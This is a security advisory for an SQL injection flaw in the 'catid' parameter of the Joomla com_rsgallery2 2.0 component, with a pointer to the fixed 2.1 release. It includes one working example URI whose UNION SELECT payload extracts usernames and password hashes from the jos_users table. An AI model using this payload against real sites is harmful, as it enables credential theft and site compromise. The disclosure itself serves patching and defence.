Joomla! 'com_rsgallery2' Component 'catid' Parameter SQL Injection Vulnerability

Bugtraq ID:	38009
Class:	Input Validation Error
CVE:
Remote:	Yes
Local:	No
Published:	Jan 31 2010 12:00AM
Updated:	Feb 02 2010 11:11AM
Credit:	Snakespc
Vulnerable:	Joomla com_rsgallery2 2.0
Not Vulnerable:	Joomla com_rsgallery2 2.1

Joomla! 'com_rsgallery2' Component 'catid' Parameter SQL Injection Vulnerability

The 'com_rsgallery2' component for Joomla! is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

Joomla! 'com_rsgallery2' Component 'catid' Parameter SQL Injection Vulnerability

Attackers can use a browser to exploit this issue.

The following example URI is available:

http://www.example.com/index.php?option=com_rsgallery2&page=inline&id=5&catid=-1+union+select+1,2,3,4,concat(username,0x3a,password),6,7,8,9,10,11,12,13+from+jos_users--

Joomla! 'com_rsgallery2' Component 'catid' Parameter SQL Injection Vulnerability

Solution:
Updates are available. Please see the references for more information.


Joomla com_rsgallery2 2.0

• Joomla com_rsgallery2_2.1.0.zip
  http://rsgallery2.net/index.php?action=downloads;sa=downfile&id=1

Joomla! 'com_rsgallery2' Component 'catid' Parameter SQL Injection Vulnerability

References:

• Joomla! Homepage (Joomla!)
  
• RS Gallery2 Homepage (RS Gallery2)